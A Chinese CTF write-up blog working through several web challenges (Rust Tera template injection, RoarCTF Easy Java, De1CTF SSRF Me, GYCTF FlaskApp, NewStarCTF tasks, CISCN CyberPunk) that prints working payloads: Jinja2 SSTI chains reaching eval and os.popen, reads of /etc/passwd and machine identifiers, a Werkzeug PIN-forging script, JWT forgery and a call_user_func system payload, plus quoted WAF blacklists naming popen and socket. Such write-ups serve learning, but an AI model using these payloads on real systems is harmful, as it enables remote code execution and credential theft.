}

let path = PATH_PREFIX.join(&data.path);
if !path.exists() {
return (StatusCode::BAD_REQUEST, Html::from("Not found!".to_owned())).into_response();
}
let file_content = std::fs::read(path);

match file_content {
Ok(content) => (StatusCode::OK, content).into_response(),
Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())).into_response(),
}
}

entrypoint.sh

找到了flag位置

Dockerfile

审计auth.rs发现是提取验证JWT
猜测应该需要伪造JWT
审计main.rs找到text路由,应该可以利用模板注入
text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct ReceiveText {
text: String,
}

const BLACK_LIST: [&str; 7] = ["{{", "}}", "FLAG", "REPLACE", "+", "__TERA_ONE_OFF", "SET"];

async fn text(Form(data): Form<ReceiveText>) -> (StatusCode, Html<String>) {
let text = data.text;
let check_text = text.to_ascii_uppercase();
for word in BLACK_LIST.iter() {
if check_text.contains(word) {
return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned()));
}
}
if text.len() > 3000 {
return (StatusCode::BAD_REQUEST, Html::from("Too long!".to_owned()));
}

let mut context = Context::new();
let content = tera::Tera::one_off(&text, &mut context, true);

match content {
Ok(content) => (StatusCode::OK, Html::from(content)),
Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())),
}
}


漏洞点应该在这里
text post输入

1
2
3
4
5
{% for char in __tera_context %}
{% if 1==1 %}
111
{% endif %}
{% endfor %}

测试发现回显111,此方法可行

上面dockerfile文件中SECRET_KEY为空,我们现在开始读取SECRET_KEY
猜测读取环境变量
查到get_env()函数可以读取环境变量
构造get_env(name=”SECRET_KEY”)

1
2
3
4
{% set secret_key = get_env(name="SECRET_KEY") %}
{% for char in secret_key %}
{{ char if char.isalnum() else '_' }}
{% endfor %}

发现{{}}被ban了
直接写

1
2
3
4
5
{% for char in get_env(name="SECRET_KEY") %}
{% if char =='b'%}
11111111122222233333
{% endif %}
{% endfor %}

这里可以写一个循环把key全爆出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
{% for char in get_env(name="SECRET_KEY") %}
{% if char == 'z' %}
z
{% elif char == 'a' %}
a
{% elif char == 'b' %}
b
{% elif char == 'c' %}
c
{% elif char == 'd' %}
d
{% elif char == 'e' %}
e
{% elif char == 'f' %}
f
{% elif char == 'g' %}
g
{% elif char == 'h' %}
h
{% elif char == 'i' %}
i
{% elif char == 'j' %}
j
{% elif char == 'k' %}
k
{% elif char == 'l' %}
l
{% elif char == 'm' %}
m
{% elif char == 'n' %}
n
{% elif char == 'o' %}
o
{% elif char == 'p' %}
p
{% elif char == 'q' %}
q
{% elif char == 'r' %}
r
{% elif char == 's' %}
s
{% elif char == 't' %}
t
{% elif char == 'u' %}
u
{% elif char == 'v' %}
v
{% elif char == 'w' %}
w
{% elif char == 'x' %}
x
{% elif char == 'y' %}
y
{% elif char == 'A' %}
A
{% elif char == 'B' %}
B
{% elif char == 'C' %}
C
{% elif char == 'D' %}
D
{% elif char == 'E' %}
E
{% elif char == 'F' %}
F
{% elif char == 'G' %}
G
{% elif char == 'H' %}
H
{% elif char == 'I' %}
I
{% elif char == 'J' %}
J
{% elif char == 'K' %}
K
{% elif char == 'L' %}
L
{% elif char == 'M' %}
M
{% elif char == 'N' %}
N
{% elif char == 'O' %}
O
{% elif char == 'P' %}
P
{% elif char == 'Q' %}
Q
{% elif char == 'R' %}
R
{% elif char == 'S' %}
S
{% elif char == 'T' %}
T
{% elif char == 'U' %}
U
{% elif char == 'V' %}
V
{% elif char == 'W' %}
W
{% elif char == 'X' %}
X
{% elif char == 'Y' %}
Y
{% elif char == 'Z' %}
Z
{% elif char == '0' %}
0
{% elif char == '1' %}
1
{% elif char == '2' %}
2
{% elif char == '3' %}
3
{% elif char == '4' %}
4
{% elif char == '5' %}
5
{% elif char == '6' %}
6
{% elif char == '7' %}
7
{% elif char == '8' %}
8
{% elif char == '9' %}
9
{% else %}
_
{% endif %}
{% endfor %}

拿到key为DAPqYZUDHpHzPxvHpKjfRLMj
本地搭建rust环境,设置SECRET_KEY为DAPqYZUDHpHzPxvHpKjfRLMj

改一下两个地方
main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
async fn main() {
tracing_subscriber::fmt::init();

let username = "admin".to_string();
let claims = Claims::new(username.clone());
let token: Result<String, AuthError> = encode(&Header::default(), &claims, &KEYS.encoding)
.map_err(|_| AuthError::TokenCreation);

match token {
Ok(token) => println!("Generated JWT: {}", token),
Err(e) => eprintln!("Error generating token: {:?}", e),
}

let app = Router::new()
.route("/", get(root))
.route("/text", post(text))
.route("/login", post(login))
.route("/read", post(authorization));

let listener = tokio::net::TcpListener::bind("0.0.0.0:80").await.unwrap();
axum::serve(listener, app).await.unwrap();
}

auth.rs

1
2
3
4
5
6
pub static KEYS: Lazy<Keys> = Lazy::new(|| {
// let secret = std::env::var("SECRET_KEY").expect("JWT_SECRET must be set");
// let secret = std::env::var("SECRET_KEY").unwrap_or("secret".to_owned());
let secret = "DAPqYZUDHpHzPxvHpKjfRLMj".to_owned();
Keys::new(secret.as_bytes())
});

然后cargo run运行整个项目

成功获得jwt

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxMDAwMDAwMDAwMH0._ktK5oJxeupdrPD1152cQPl9Gjh8nGmE7ZQF0eBxjY4

这里要同时填入cookie和认证

然后再看main.rs authorization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
async fn authorization(claims: Claims, Form(data): Form<ReceivePath>) -> Response {
if claims.username != "admin" {
return (StatusCode::OK, Html::from("NONONO".to_owned())).into_response();
}

if data.path.contains("..") {
return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned())).into_response();
}

let path = PATH_PREFIX.join(&data.path);
if !path.exists() {
return (StatusCode::BAD_REQUEST, Html::from("Not found!".to_owned())).into_response();
}
let file_content = std::fs::read(path);

match file_content {
Ok(content) => (StatusCode::OK, content).into_response(),
Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())).into_response(),
}
}

利用点是这个 let file_content = std::fs::read(path);
虽然说ban了目录穿越,但没什么用
直接读flag就可以了

这里有个类似的题

[RoarCTF 2019]Easy Java

打开题目是个登录页面

首先查看源代码和消息头,并没有什么额外的收获,sql注入也没用,点开help

从url看出是包含,可能存在文件包含漏洞
但是这里没有包含help文件,尝试使用post提交,可以下载文件
发现post提交打开即可,post不需要参数
类似于这样

WEB-INF/web.xml泄露

java web工程目录结构

Servlet访问URL映射配置

由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用servlet元素和servlet-mapping元素完成servlet元素用于注册Servlet,它包含有两个主要的子元素:servlet-name和servlet-class。分别用于设置Servlet的注册名称和Servlet的完整类名。一个servlet-mapping元素用于映射一个已注册的Servlet的一个对外访问路径,它包括有两个子元素:servlet-name和url-pattern,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>ServletDemo1</servlet-name>
<servlet-class>cn.itcast.ServletDemo1</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletDemo1</servlet-name>
<url-pattern>/ServletDemo1</url-pattern>
</servlet-mapping>

回到上面文件包含,我们已经下载了/WEB-INF/web.xml

读取这个类文件

1
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

下载文件发现里面有一段base64编码,那就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
name = "FlagController"
)
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3s5NWFmZTIwYi0wMmZmLTQ4YTEtOTYzYS0xNDBlMGY4MDFmYTd9Cg==";

public FlagController() {
}

protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}

[De1CTF 2019]SSRF Me

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#! /usr/bin/env python
# encoding=utf-8

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
return getSign(self.action, self.param) == self.sign


# Generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

一个flask框架
先说Task类
注意这两个if语句

1
2
if "scan" in self.action:
if "read" in self.action:

在判断action中的值的时候,用的是in,而不是==,所以如果action中是scanread或者是readscan的话,if语句同时满足,相应的代码都执行。
逐句解释代码太罗嗦了,还是按照思路来

得到flag的大致思路

首先绕过self.checkSign(),并且传入的action需要同时包含scan和read,然后if “scan” in self.action执行将flag.txt中的数据写入result.txt中,继续if “read” in self.action:执行读取result.txt中的数据,并且放在result[‘data’]中, return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。

构造payload的步骤

首先绕过self.checkSign()

1
2
3
4
5
6
7
8
9
10
11
12
13
    def checkSign(self):
return getSign(self.action, self.param) == self.sign

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

需要满足self.checkSign(),
就需要getSign(self.action, self.param) == self.sign,(sign值通过cookie传值)
就需要hashlib.md5(secert_key + param + action).hexdigest() == self.sign
也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign
所以我们需要得到secert_key + ‘flag.txtreadscan的哈希值
但是我们不知道secret_key的值是多少,它只存在于服务器

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

但是我们可以通过上面截取的源码中/geneSign,来返回我们所需要的编码之后的哈希值
注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’

返回哈希值

将flag.txt中的数据读入result.txt,然后读取result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"

De1ta

1
2
3
4
5
6
7
8
9
10
11
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

[GYCTF2020]FlaskApp

题目提示了这题需要进行Flask模板注入,打开题目后是一个用flask写的一个base64加解密应用。

在hint页面查看源码发现需要PIN码
这题的思路大概就是,因为开启了debug模式,所以可以利用ssti注入读文件最终获得pin码,然后利用pin码进入debug模式的交互式命令行进行命令的执行
首先是要找到ssti的注入点,经过测试,发现是解码的那里,如果在加密处输入6,然后放到解密里解密,会输出6(*被过滤了不能使用),因此存在SSTI。但是经过测试,执行命令的SSTI注入方式被过滤了,按照提示,应该想办法利用PIN码。PIN码的生成需要下面这些东西

生成PIN的关键值有如下几个

  1. 服务器运行flask所登录的用户名,通过读取/etc/passwd获得
  2. modname一般不变就是flask.app
  3. getattr(app,”name”,app.class.name).python该值一般为Flask 值一般不变
  4. flask库下app.py的绝对路径,通过报错信息就会泄露该值
  5. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0出为当前使用的网卡
  6. 最后一个就是机器的id。对于非docker机每一个机器都会有自己唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同,对于docker机则读取/proc/self/cgroup

利用如下语句进行读取文件

1
2
3
4
5
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

或者这个也行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}


读一下etc/passwd,发现用户名是flaskweb
通过随便输入报错,得到app.py的绝对路径

再通过读/sys/class/net/eth0/address来获得mac的地址

1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}

Mac地址转换成十进制

1
2
print(int('ae8f05ec0387',16))
#191929302909831

因为题目是docker环境,因此读机器id需要读/proc/self/cgroup

1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}

想必使我的靶机出了问题,这里爆不出靶机的id

chatgpt对此的解释是
0::/ 表示当前进程没有被分配到任何特定的 cgroup 层级,通常出现在未设置资源限制的 Docker 容器或 Docker 容器在 cgroup v2 模式下运行的情况下。如果你需要更多的信息或控制,可以通过调整 Docker 容器启动参数来指定资源限制。

还是按正常流程来作题吧,当获得了机器id,那么要素齐全了,我们可以通过一个脚本获得pin的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import hashlib
from itertools import chain

probably_public_bits = [
'flaskweb',#服务器运行flask所登录的用户名
'flask.app',#modname
'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
'2485410401573',#当前网络的mac地址的十进制数
'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

然后进入console目录即可命令执行获得flag

非预期解

虽然说命令执行的SSTI注入被过滤二零,但是我们还可以拼接绕过
这里学习到了一个SSTI的新姿势,更方便找可以命令执行的类了

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config[&#39;SECRET_KEY&#39;] = &#39;s_e_c_r_e_t_k_e_y&#39; bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField(&#39;BASE64加密&#39;,validators= [DataRequired()]) submit = SubmitField(&#39;提交&#39;) class NameForm1(FlaskForm): text = StringField(&#39;BASE64解密&#39;,validators= [DataRequired()]) submit = SubmitField(&#39;提交&#39;) def waf(str): black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;] for x in black_list : if x in str.lower() : return 1 @app.route(&#39;/hint&#39;,methods=[&#39;GET&#39;]) def hint(): txt = &#34;失败乃成功之母!!&#34; return render_template(&#34;hint.html&#34;,txt = txt) @app.route(&#39;/&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;]) def encode(): if request.values.get(&#39;text&#39;) : text = request.values.get(&#34;text&#34;) text_decode = base64.b64encode(text.encode()) tmp = &#34;结果 :{0}&#34;.format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for(&#39;encode&#39;)) else : text = &#34;&#34; form = NameForm(text) return render_template(&#34;index.html&#34;,form = form ,method = &#34;加密&#34; ,img = &#34;flask.png&#34;) @app.route(&#39;/decode&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;]) def decode(): if request.values.get(&#39;text&#39;) : text = request.values.get(&#34;text&#34;) text_decode = base64.b64decode(text.encode()) tmp = &#34;结果 : {0}&#34;.format(text_decode.decode()) if waf(tmp) : flash(&#34;no no no !!&#34;) return redirect(url_for(&#39;decode&#39;)) res = render_template_string(tmp) flash( res ) return redirect(url_for(&#39;decode&#39;)) else : text = &#34;&#34; form = NameForm1(text) return render_template(&#34;index.html&#34;,form = form, method = &#34;解密&#34; , img = &#34;flask1.png&#34;) @app.route(&#39;/&lt;name&gt;&#39;,methods=[&#39;GET&#39;]) def not_found(name): return render_template(&#34;404.html&#34;,name = name) if __name__ == &#39;__main__&#39;: app.run(host=&#34;0.0.0.0&#34;, port=5000, debug=True)

# html 解码
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap
import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64 Æ',validators= [DataRequired()])
submit = SubmitField('Ф')
class NameForm1(FlaskForm):
text = StringField('BASE64ãÆ',validators= [DataRequired()])
submit = SubmitField('Ф')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1


def hint():
txt = "1%CŸKÍ"
return render_template("hint.html",txt = txt)


def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "Ӝ :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = " Æ" ,img = "flask.png")

def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "Ӝ  {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "ãÆ" , img = "flask1.png")


def not_found(name):
return render_template("404.html",name = name)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)

可以看到waf过滤了很多
利用字符串拼接读找目录

1
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}


读flag

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

或者

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

或者

1
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eva'+'l' in b.keys() %}       {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

newstartctf2024 PangBai 过家家(1)

第一关

看到标头有一个路径,url添加这个路径就可到达第二关

第二关是get传入一个参数

1
?ask=miao

第三关post传入参数

1
say=hello

第四关

1
PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!

应该是要改UA头,但不能全改,有些题是能全改的但不知道这题是为什么

第五关

把say参数值改为玛卡巴卡阿卡哇卡米卡玛卡呣

随意传入zip文件即可

第六关

加一个XFF头即可
这样就获得了密钥

这样我们就可以拿着密钥去jwt.io去伪造一个jwt了
flag在第0关,改为0即可

newstarctf2024 复读机

经典ssti,这题过滤了class,但可以通过拼接绕过
payload

1
user_input={{""['__cl'+'ass__'].__bases__[0]["__subcl"+"asses__"]()[221].__init__.__globals__.__builtins__['open']('/flag').read()}}

newstarctf2024 PangBai 过家家(2)


提示我们有后门
用dirsearch扫扫
发现存在git泄露

用githacker把git拉下来

检查.git
在.git/log/refs/stash下发现线索

1
0000000000000000000000000000000000000000 218794454cba0606a3d68175bbd46c198b7469ca NewStarCTF 2024 <newstar@openctf.net> 1727085801 +0000	On main: Backdoor

经过查阅
.git/logs/refs/stash 是一个 Git 日志文件,专门用于记录与 stash 相关的操作。它记录了你在项目中每次使用 git stash(隐藏或存储未提交的更改)时的历史信息
可以用git stash list
git stash list 会列出所有 stash 的记录,包括每次 stash 的简要信息、保存的分支以及提交信息。它相当于读取 .git/logs/refs/stash 文件的内容。

也可以用git show
通过 git show 来查看某个 stash 的详细内容(即保存的更改)。

或者用git stash apply
使用 git stash apply 或 git stash pop 恢复特定的 stash。这可以帮助你测试某个 stash 并查看更改的影响。

1
git stash apply stash@{0}


可以看到多了两个文件
BacKd0or.v2d23AOPpDfEW5Ca.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

# Functions to handle HTML output

function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

可以利用的函数是call_user_func,它可以帮助我们命令执行
payload

1
2
?NewStar[CTF.2024=Welcome%0a
papa=TfflxoU0ry7c&func=system&args=env

[CISCN2019 华北赛区 Day1 Web5]CyberPunk


源代码中找到file参数,可以文件啊读取,利用伪协议
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地€</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
